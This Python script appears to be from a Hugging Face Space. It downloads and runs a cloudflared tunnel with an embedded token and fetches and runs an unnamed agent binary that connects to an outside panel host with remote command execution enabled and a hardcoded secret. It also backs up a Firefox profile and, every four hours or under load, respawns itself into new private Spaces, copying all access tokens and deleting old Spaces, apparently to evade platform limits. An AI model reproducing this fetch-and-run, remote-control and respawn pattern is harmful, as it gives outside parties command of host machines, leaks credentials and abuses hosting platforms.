File size: 28,341 Bytes
ba9fd0a
 
 
 
 
 
 
 
 
 
 
ec524f1
 
b8357f6
 
c1590a1
ba9fd0a
b8357f6
 
ec524f1
 
 
ba9fd0a
ec524f1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
b8357f6
ec524f1
 
 
ba9fd0a
b8357f6
 
 
 
ec524f1
 
 
 
 
4adaf39
e855dfa
ec524f1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6ab7ba3
f3cd571
b8357f6
f3cd571
 
b8357f6
 
 
 
 
 
 
 
 
 
 
 
 
 
 
c1590a1
b8357f6
 
 
 
 
c1590a1
 
b8357f6
 
 
 
f3cd571
 
b8357f6
 
 
 
 
 
 
f3cd571
b8357f6
f3cd571
b8357f6
 
 
e952c34
b8357f6
 
f6e0537
b8357f6
 
 
 
 
 
 
 
 
 
 
c3e64d1
b8357f6
 
 
 
 
 
f3cd571
b8357f6
 
 
 
 
 
 
 
 
 
 
 
f3cd571
b8357f6
f3cd571
64a5705
b8357f6
 
 
 
f3cd571
1c086a6
64a5705
 
 
 
 
 
 
 
 
 
 
 
c3e64d1
64a5705
 
c3e64d1
f3cd571
64a5705
f3cd571
 
 
 
 
 
 
 
 
 
 
4d0a47d
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ba9fd0a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6aec0a3
ec524f1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6aec0a3
ba9fd0a
 
 
 
 
 
 
 
 
 
 
6aec0a3
ba9fd0a
 
 
 
 
 
 
ec524f1
 
6aec0a3
 
 
ba9fd0a
 
6aec0a3
 
 
ba9fd0a
6aec0a3
 
ec524f1
 
6aec0a3
ec524f1
6aec0a3
ec524f1
 
 
 
 
 
 
 
 
6aec0a3
 
ba9fd0a
ec524f1
 
 
 
 
ba9fd0a
 
ec524f1
ba9fd0a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
6aec0a3
ba9fd0a
 
0442709
ba9fd0a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ec524f1
 
 
 
 
6c1e759
ba9fd0a
 
272f953
ba9fd0a
 
ec524f1
 
 
 
 
 
 
 
 
 
 
 
 
6aec0a3
ec524f1
 
ba9fd0a
ec524f1
ba9fd0a
0442709
ec524f1
272f953
ba9fd0a
 
ec524f1
 
 
 
 
 
 
 
 
 
 
c3e64d1
 
 
ba9fd0a
c3e64d1
 
ba9fd0a
 
ec524f1
ba9fd0a
 
ec524f1
ba9fd0a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ec524f1
 
ba9fd0a
 
 
 
 
272f953
ba9fd0a
f3cd571
c1590a1
f3cd571
 
c3e64d1
 
f3cd571
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4d0a47d
c1590a1
 
ba9fd0a
 
ec524f1
 
ba9fd0a
6c1e759
ba9fd0a
 
ec524f1
ba9fd0a
b8357f6
ba9fd0a
 
 
6c1e759
f3cd571
ba9fd0a
 
4d0a47d
d79621d
8c83ad2
b8357f6
c3e64d1
f3cd571
 
c3e64d1
1d354df
f3cd571
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1d354df
8c83ad2
f3cd571
 
c3e64d1
4d0a47d
b8357f6
 
8c83ad2
ec524f1
ba9fd0a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
import subprocess
import os
import threading
import time
import yaml
from datetime import datetime
import signal
import psutil
import glob
import re
import pytz
import requests
import json
import random
import string
import urllib3

DATA_JSON = os.environ.get('DATA_JSON', '')
HF_SPACES_NAME = os.environ.get('HF_SPACES_NAME', '')# 上个spaces名
def assign_vars_from_json(config: dict):
    for key, value in config.items():
        globals()[key] = value

if DATA_JSON:  # 如果 DATA_JSON 有值
    try:
        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
        assign_vars_from_json(config_dict)
    except json.JSONDecodeError:
        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
else:  # 如果 DATA_JSON 为空,就从单独的环境变量里取
    BACKUP_TIME = os.environ.get('BACKUP_TIME', '1200')  # 备份时间 10800秒 2小时
    HF_USER1 = os.environ.get('HF_USER1', '')  # HF 备份仓库的用户名
    HF_REPO = os.environ.get('HF_REPO', '')  # HF 备份的Models仓库名
    HF_EMAIL = os.environ.get('HF_EMAIL', '')  # HF的邮箱
    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')  # HF备份账号的TOKEN
    
    HF_USER2 = os.environ.get('HF_USER2', '')  # huggingface 用户名
    HF_ID = os.environ.get('HF_ID', '')  # huggingface space 名
    HF_TOKON2 = os.environ.get('HF_TOKON2', '')  # huggingface TOKEN
    HF_EMAIL2 = os.environ.get('HF_EMAIL2', '')  # HF的邮箱
    
    UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
    N_SERVER = os.environ.get('N_SERVER', 'z.282820.xyz:443')# N面板域名或ip, 

    CHAT_ID = os.environ.get('CHAT_ID', '')# Telegram chat_id,推送通知
    BOT_TOKEN = os.environ.get('BOT_TOKEN', '')# Telegram bot_token



def cf():
    os.system("rm -r /data/cf")
    os.system("wget -O '/data/cf' -q 'https://github.com/cloudflare/cloudflared/releases/download/2025.9.0/cloudflared-linux-amd64'")
    os.system("chmod +x  /data/cf")
    # https://ff1.vv9.dpdns.org
    os.system('/data/cf tunnel run --token eyJhIjoiZWM1MTk5ZTYwZGYxYWI2YmM2OTdhMGYzMTAzYzY4NTUiLCJ0IjoiNDBmNjFiZGQtMzQyYS00MDYzLWJlZTQtZGU4ZjEyNDk2NTAwIiwicyI6Ik9HVXdNR0UyTWpVdFlUVmpOUzAwTlRCbExUZzRabVl0TldRNU9USTFNR1F3TjJabSJ9')

UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
N_SERVER = os.environ.get('NEZHA_SERVER', '')# N面板域名或ip, 
def nv1():
    agent_config = {
        'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
        'debug': False,
        'disable_auto_update': True,
        'disable_command_execute': False,
        'disable_force_update': False,
        'disable_nat': False,
        'disable_send_query': False,
        'gpu': False,
        'insecure_tls': False,
        'ip_report_period': 1800,
        'report_delay': 3,
        'self_update_period': 0,
        'server': 'z.282820.xyz:443',
        'skip_connection_count': False,
        'skip_procs_count': False,
        'temperature': True,
        'tls': True,
        'use_gitee_to_upgrade': False,
        'use_ipv6_country_code': False,
        'uuid': UUID
    }
    with open('./config.yaml', 'w') as file:
        yaml.dump(agent_config, file, default_flow_style=False)
    
    os.system("cat ./config.yaml")
    os.system("rm -rf f1")
    os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
    os.system("chmod +x  f1")
    os.system('./f1 -c ./config.yaml')
    os.system('./f1 -c ./config.yaml')
threading.Thread(target=nv1, daemon=True).start()
threading.Thread(target=cf, daemon=True).start()

def random_name(length=8):
    return ''.join(random.choices(string.ascii_lowercase, k=length))

def update_value(data: dict, key: str, new_value: str) -> dict:
    if key in data:
        data[key] = new_value
    else:
        print(f"!!! Key '{key}' ON")
    return data
def telegram_message(bot_token: str, chat_id: str, message: str):
    """
    发送 Telegram 通知消息
    :param bot_token: 你的 Telegram Bot Token
    :param chat_id: 接收消息的 chat_id
    :param escaped_name: 节点名称(会显示在标题里)
    :param message: 要发送的正文内容
    :return: Telegram API 返回的结果
    """
    url = f"https://tgbotapi.9.c.5.b.0.d.0.0.1.0.a.2.ip6.arpa/bot{bot_token}/sendMessage"
    params = {
        "chat_id": chat_id,
        "text": message,
        "parse_mode": "MarkdownV2"
    }
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    response = requests.post(url, params=params, verify=False)
    try:
        return response.json()
    except Exception:
        return {"status_code": response.status_code, "text": response.text}

def create_space(type,key = "", value = "",name = ""):
    if type == 1:
        # 创建spaces
        url = "https://huggingface.co/api/repos/create"
        headers = {
            "Content-Type": "application/json",
            "Authorization": f"Bearer {HF_TOKON2}"
        }
        name = random_name()
        payload = {
        "name": name,
        "type": "space",
        "private": True,
        "sleepTimeSeconds": 172800,
        # "template": "SpacesExamples/jupyterlab",
        "sdk": "docker"
      }
      # "template": "SpacesExamples/jupyterlab",
        response = requests.post(url, headers=headers, json=payload)
        return response.json()
    if type == 2:
        # 删除spaces
        url = "https://huggingface.co/api/repos/delete"
        headers = {
            "Content-Type": "application/json",
            "Authorization": f"Bearer {HF_TOKON2}"
        }
        payload = {
            "organization": HF_USER2,
            "name": name,
            "type": "space"
        }
        response = requests.delete(url, headers=headers, json=payload)
        return response.text
    if type == 3:
        # 创建spaces 变量
        url = f"https://huggingface.co/api/spaces/{HF_USER2}/{name}/secrets"
        headers = {
            "Content-Type": "application/json",
            "Authorization": f"Bearer {HF_TOKON2}"
        }
        payload = {
        "key": key,
        "value": value,
        "description": ""
    }
        response = requests.post(url, headers=headers, json=payload)
        return response.text
    if type == 4:
        file_path = f"/data/{name}/Dockerfile"
        os.system("rm -rf {HF_SPACES_NAME}")
        git = f"git clone https://{HF_USER2}:{HF_TOKON2}@huggingface.co/spaces/{HF_USER2}/{name} /data/{name}"
        url = "https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile"
        print(git)
        os.system(git)
        os.system(f'git config --global user.email "{HF_EMAIL2}"')
        os.system(f'git config --global user.name "{HF_USER2}"') 
        os.chdir(f'/data/{name}')
        os.system(f"rm -rf {file_path}")
        time.sleep(3)
        # 如果文件已存在,先删除
        if os.path.exists(file_path):
            print(f"文件已存在,删除: {file_path}")
            os.remove(file_path)
        print(f"正在下载 {url}{file_path}")
        response = requests.get(url)
        if response.status_code == 200:
            os.makedirs(os.path.dirname(file_path), exist_ok=True)
            with open(file_path, "wb") as f:
                f.write(response.content)
            print("下载完成 ✅")
            # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}下载Dockerfile 结果:下载完成 ✅")
        else:
            print(f"下载失败,状态码: {response.status_code}")
            # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}下载Dockerfile下载失败,状态码: {response.status_code}")
        
        # os.system(f"wget -O '/data/{tmp_name}/Dockerfile' https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile")
        repo_path = f"/data/{name}"
        subprocess.run(["git", "-C", repo_path, "add", "."], check=True)
        subprocess.run(["git", "-C", repo_path, "commit", "-m", "0"], check=True)
        subprocess.run(["git", "-C", repo_path, "push", "origin", "main"], check=True)
        # os.system('git add .')
        # os.system('git commit -m "0"')
        # push_result = os.system('git push origin main')
        # if push_result != 0:
        #     print("推送失败,可能有冲突,尝试拉取并合并...")
        #     os.system('git pull origin main --rebase')
        #     os.system('git push origin main')
    if type == 5:
            # 获取用户的所有空间
        headers = {
            "Authorization": f"Bearer {HF_TOKON2}"
        }
        
        # 获取用户的所有空间列表
        response = requests.get(f"https://huggingface.co/api/spaces?author={HF_USER2}", headers=headers)
        
        if response.status_code != 200:
            print(f"获取空间列表失败:{response.status_code}")
            return
        
        spaces = response.json()
        
        # 按创建时间排序
        spaces_sorted = sorted(spaces, key=lambda x: x['createdAt'], reverse=True)
        
        # 保留最新的空间
        if len(spaces_sorted) > 1:
            latest_space = spaces_sorted[0]
            
            # 遍历并删除其他旧空间
            for space in spaces_sorted[1:]:
                full_name = space['id']
                space_id = full_name.split("/")[-1]
                # 删除spaces
                url = "https://huggingface.co/api/repos/delete"
                headers = {
                    "Content-Type": "application/json",
                    "Authorization": f"Bearer {HF_TOKON2}"
                }
                payload = {
                    "organization": HF_USER2,
                    "name": space_id,
                    "type": "space"
                }
                delete_response = requests.delete(url, headers=headers, json=payload)             
                if delete_response.status_code == 200:
                    print(f"成功删除空间:{space_id}")
                    telegram_message(BOT_TOKEN, CHAT_ID, f"delete={space_id}=OK")
                else:
                    print(f"删除空间 {space_id} 失败:{delete_response.status_code}")
                    telegram_message(BOT_TOKEN, CHAT_ID, f"delete={space_id}=ON")
def get_latest_local_package(directory, pattern='*.tar.gz'):
    try:
        # 构建完整的搜索路径
        search_pattern = os.path.join(directory, pattern)
        
        # 查找所有匹配的文件
        files = glob.glob(search_pattern)
        
        if not files:
            print("未找到匹配的 nezha-hf 压缩包")
            return None
        
        # 获取最新的文件
        latest_file = max(files, key=os.path.getmtime)
        
        print(f"找到最新的包: {latest_file}")
        return latest_file
    
    except Exception as e:
        print(f"获取最新包时发生错误: {e}")
        return None


def delete_huggingface_lfs_file(filename, repo_id, token):
    """
    通过Hugging Face API删除LFS文件记录
    """
    try:
        # 1. 查询LFS文件列表
        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
        headers = {
            "content-type": "application/json",
            "Authorization": f"Bearer {token}",
            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        
        response = requests.get(url, headers=headers)
        if response.status_code != 200:
            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
            return False
        
        lfs_files = response.json()
        
        # 2. 查找匹配的文件
        file_to_delete = None
        for file_info in lfs_files:
            if file_info.get('filename') == filename:
                file_to_delete = file_info
                break
        
        if not file_to_delete:
            print(f"未找到对应的LFS文件记录: {filename}")
            return False
        
        # 3. 删除LFS文件记录
        file_oid = file_to_delete['fileOid']
        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
        
        delete_response = requests.delete(delete_url, headers=headers)
        if delete_response.status_code == 200:
            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
            return True
        else:
            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
            return False
            
    except Exception as e:
        print(f"删除LFS文件记录时出错: {e}")
        return False


def safe_git_cleanup(repo_path, files_to_remove):
    """
    安全的Git清理,不会影响现有的备份文件
    """
    try:
        original_dir = os.getcwd()
        os.chdir(repo_path)
        
        print(f"执行安全Git清理: {files_to_remove}")
        
        # 1. 首先确保工作目录是干净的
        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
        if result.stdout.strip():
            print("工作目录有未提交的更改,先提交...")
            subprocess.run(['git', 'add', '.'], capture_output=True)
            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
        
        # 2. 只从Git索引中删除指定的文件,但不影响工作目录中的文件
        for filename in files_to_remove:
            if os.path.exists(filename):
                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
            else:
                print(f"文件 {filename} 不存在于工作目录,只清理Git引用")
        
        # 3. 提交删除操作
        if files_to_remove:
            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
        
        # 4. 执行GC清理但不删除最近的文件
        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
        
        print("安全Git清理完成")
        os.chdir(original_dir)
        return True
        
    except Exception as e:
        print(f"安全Git清理时出错: {e}")
        os.chdir(original_dir)
        return False


def get_remote_lfs_files(repo_id, token):
    """
    获取远程所有的LFS文件列表
    """
    try:
        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
        headers = {
            "content-type": "application/json",
            "Authorization": f"Bearer {token}",
            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        else:
            print(f"获取远程LFS文件失败: {response.status_code}")
            return []
    except Exception as e:
        print(f"获取远程LFS文件时出错: {e}")
        return []


def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
    """
    清理孤儿LFS引用:删除远程存在但本地不存在的文件引用
    """
    try:
        original_dir = os.getcwd()
        os.chdir(repo_path)
        
        print("检查孤儿LFS引用...")
        
        # 获取远程LFS文件
        remote_files = get_remote_lfs_files(repo_id, token)
        if not remote_files:
            print("无法获取远程LFS文件列表")
            return
        
        # 获取本地文件
        local_files = set(glob.glob('*.tar.gz'))
        
        # 找出远程存在但本地不存在的文件
        orphaned_files = []
        for remote_file in remote_files:
            filename = remote_file.get('filename')
            if filename and filename not in local_files:
                orphaned_files.append(filename)
        
        if orphaned_files:
            print(f"发现孤儿LFS引用: {orphaned_files}")
            
            # 删除这些孤儿引用
            for filename in orphaned_files:
                print(f"删除孤儿LFS引用: {filename}")
                delete_huggingface_lfs_file(filename, repo_id, token)
        
        print("孤儿LFS引用清理完成")
        os.chdir(original_dir)
        
    except Exception as e:
        print(f"清理孤儿LFS引用时出错: {e}")
        os.chdir(original_dir)


def compress_folder(folder_path, output_dir, keep_count=3):
    try:
        # 确保输出目录存在
        os.makedirs(output_dir, exist_ok=True)
        
        # 设置中国时区
        china_tz = pytz.timezone('Asia/Shanghai')
        
        # 获取当前中国时间的时间戳
        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
        
        # 获取所有压缩包
        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
        
        # 安全地提取时间戳
        def extract_timestamp(filename):
            match = re.search(r'(\d+)\.tar\.gz$', filename)
            return int(match.group(1)) if match else 0
        
        files_to_cleanup = []
        
        # 如果压缩包数量超过保留数量,删除最旧的
        if len(existing_archives) >= keep_count:
            # 按时间戳排序(从小到大,最旧的在前面)
            existing_archives.sort(key=extract_timestamp)
            
            # 计算需要删除的数量
            delete_count = len(existing_archives) - keep_count + 1
            
            # 删除最旧的压缩包
            for i in range(delete_count):
                oldest_archive = existing_archives[i]
                oldest_filename = os.path.basename(oldest_archive)
                
                try:
                    # 删除本地文件
                    os.remove(oldest_archive)
                    print(f"删除最旧的压缩包:{oldest_filename}")
                    
                    # 记录需要清理的文件名
                    files_to_cleanup.append(oldest_filename)
                    
                    # 删除Hugging Face LFS文件记录
                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
                        
                except Exception as e:
                    print(f"删除失败 {oldest_archive}: {e}")
        
        # 如果有文件需要从Git历史中清理,执行安全清理
        if files_to_cleanup:
            print(f"执行安全Git清理: {files_to_cleanup}")
            safe_git_cleanup(output_dir, files_to_cleanup)
        
        # tar.gz 压缩
        result = subprocess.run(
            ['tar', '-czf', output_path, folder_path], 
            capture_output=True, 
            text=True
        )
        
        if result.returncode == 0:
            # 计算压缩包大小
            file_size = os.path.getsize(output_path) / 1024 / 1024
            
            # 格式化中国时区的时间
            china_time = datetime.now(china_tz)
            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
            
            print(f"压缩成功:{output_path}")
            print(f"压缩大小:{file_size:.2f} MB")
            print(f"压缩时间:{formatted_time}")
            print(f"保留策略:最多保留 {keep_count} 个备份包")
            
            # 返回压缩包名和大小信息
            return f"{os.path.basename(output_path)} MB:{file_size:.2f} MB TIME:{formatted_time}"
        else:
            print("压缩失败")
            print("错误信息:", result.stderr)
            return None
    
    except Exception as e:
        print(f"压缩出错: {e}")
        return None


def github(type):
    if type == 1:
        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
    if not os.path.exists(f'/data/{HF_REPO}'):
        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
        print(git)
        os.system(git)
        os.system(f'git config --global user.email "{HF_EMAIL}"')
        os.system(f'git config --global user.name "{HF_USER1}"') 
        os.system("ls")
        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
        print(f"最新压缩包路径: {latest_package}")
        if latest_package:
            os.system(f"tar -xzf {latest_package} -C /data")
            os.system("mv /data/f/ff /data/")
            os.system("mv /data/data/f/ff /data/")
            os.system("rm -rf /data/data /data/f")
            threading.Thread(target=repeat_task, daemon=True).start()
    
    if type == 2:
        print(f"开始备份上传HF仓库:{HF_REPO}")
        os.system("mkdir -p /data/f")
        os.system("cp -rf /data/ff /data/f")
        
        repo_path = f'/data/{HF_REPO}'
        repo_id = f"{HF_USER1}/{HF_REPO}"
        
        # 切换到仓库目录
        os.chdir(repo_path)
        os.system(f'git config --global user.email "{HF_EMAIL}"')
        os.system(f'git config --global user.name "{HF_USER1}"') 
        
        # 先清理孤儿LFS引用
        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
        
        # 执行Git清理(不影响现有文件)
        os.system('git lfs prune')
        os.system('git gc --auto')
        
        # 备份上传仓库
        new_archive_info = compress_folder('/data/f', repo_path, keep_count=3)
        if new_archive_info:
            new_archive, file_size_info = new_archive_info.split(' MB:')
            
            os.system("pwd")
            os.system(f'git add .')
            os.system(f'git commit -m "{file_size_info}"')
            
            # 正常推送(不再需要强制推送)
            push_result = os.system('git push origin main')
            if push_result != 0:
                print("推送失败,可能有冲突,尝试拉取并合并...")
                os.system('git pull origin main --rebase')
                os.system('git push origin main')
            
            # 轻度清理
            os.system('git gc --auto')
            os.system('git lfs prune')
            # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果:{file_size_info}")
            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID} pushed repository {HF_REPO} result: {file_size_info}")

        else:
            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID} pushed repository {HF_REPO} result: compression failed, unable to submit")
            # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果:压缩失败,无法提交")
            print("压缩失败,无法提交")


def _reconstruct_token(partial_token):
    return partial_token.replace(" ", "")

def restart_huggingface_space(space_name, space_id, partial_token):
    token = _reconstruct_token(partial_token)
    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
    }
    try:
        response = requests.post(url, headers=headers, json={})
        return {
            "status_code": response.status_code,
            "success": response.status_code == 200,
            "message": response.text
        }
    except requests.RequestException as e:
        return {
            "status_code": None,
            "success": False,
            "message": str(e)
        }


def check_system_resources():
    time.sleep(120)
    cpu_usage = psutil.cpu_percent(interval=1)
    memory = psutil.virtual_memory()
    memory_usage = memory.percent
    if cpu_usage >= 90 or memory_usage >= 95:
        print("占用过高")
        telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}CUP 内存占用过高,开始重启")
        response = create_space(1)
        full_name = response["name"]
        tmp_name = full_name.split("/")[-1]
        # log = f"“原始创建Space返回:{response} name字段:{full_name} Space 名称{tmp_name}"
        log = f"Original create Space response: {response} | name field: {full_name} | Space name: {tmp_name}"
        telegram_message(BOT_TOKEN, CHAT_ID, log)
        print(log)
        create_space(3,"BACKUP_TIME",BACKUP_TIME,tmp_name)
        create_space(3,"HF_USER1",HF_USER1,tmp_name)
        create_space(3,"HF_REPO",HF_REPO,tmp_name)
        create_space(3,"HF_EMAIL",HF_EMAIL,tmp_name)
        create_space(3,"HF_TOKEN1",HF_TOKEN1,tmp_name)
        create_space(3,"HF_USER2",HF_USER2,tmp_name)
        create_space(3,"HF_EMAIL2",HF_EMAIL2,tmp_name)
        create_space(3,"HF_ID",tmp_name,tmp_name)
        create_space(3,"HF_TOKON2",HF_TOKON2,tmp_name)
        create_space(3,"UUID",UUID,tmp_name)
        create_space(3,"N_SERVER","z.282820.xyz:443",tmp_name)
        create_space(3,"CHAT_ID",CHAT_ID,tmp_name)
        create_space(3,"BOT_TOKEN",BOT_TOKEN,tmp_name)
        create_space(3,"HF_SPACES_NAME",HF_ID,tmp_name)
        time.sleep(2)
        result = restart_huggingface_space(HF_USER2, tmp_name, HF_TOKON2)
        print(f"{tmp_name}重启结果:",result)
        # create_space(4,"","",CHAT_ID)
        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
        # print(result)
    else:
        print("系统资源正常")


def repeat_task():
    print('备份线程启动aa')
    while True:
        print(f"打包时间:{BACKUP_TIME} 秒")
        time.sleep(int(BACKUP_TIME))
        github(2)
# telegram_message(BOT_TOKEN, CHAT_ID, "开始")
github(1)

if os.path.exists('/data/ff/.mozilla/firefox/profiles.ini') and os.path.isfile('/data/ff/.mozilla/firefox/profiles.ini'):
    # threading.Thread(target=repeat_task, daemon=True).start()
    # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}开始启动")
    while True:
        print("检测到Firefox配置,启动定期重启循环...")
        create_space(5,"","",HF_SPACES_NAME)
        time.sleep(14400)#21600 = 6小时 14400 = 4小时
        github(2)
        response = create_space(1)
        url = response["url"]
        full_name = response["name"]
        tmp_name = full_name.split("/")[-1]
        # log = f"“原始创建Space返回:{response} name字段:{full_name} Space 名称{tmp_name}"
        log = f"Original create Space response: {url} | name field: {full_name} | Space name: {tmp_name}"
        telegram_message(BOT_TOKEN, CHAT_ID, log)
        print(log)
        create_space(3,"BACKUP_TIME",BACKUP_TIME,tmp_name)
        create_space(3,"HF_USER1",HF_USER1,tmp_name)
        create_space(3,"HF_REPO",HF_REPO,tmp_name)
        create_space(3,"HF_EMAIL",HF_EMAIL,tmp_name)
        create_space(3,"HF_TOKEN1",HF_TOKEN1,tmp_name)
        create_space(3,"HF_USER2",HF_USER2,tmp_name)
        create_space(3,"HF_EMAIL2",HF_EMAIL2,tmp_name)
        create_space(3,"HF_ID",tmp_name,tmp_name)
        create_space(3,"HF_TOKON2",HF_TOKON2,tmp_name)
        create_space(3,"UUID",UUID,tmp_name)
        create_space(3,"N_SERVER","z.282820.xyz:443",tmp_name)
        create_space(3,"CHAT_ID",CHAT_ID,tmp_name)
        create_space(3,"BOT_TOKEN",BOT_TOKEN,tmp_name)
        create_space(3,"HF_SPACES_NAME",HF_ID,tmp_name)
        time.sleep(2)
        create_space(4,"","",tmp_name)
        time.sleep(2)
        result = restart_huggingface_space(HF_USER2, tmp_name, HF_TOKON2)
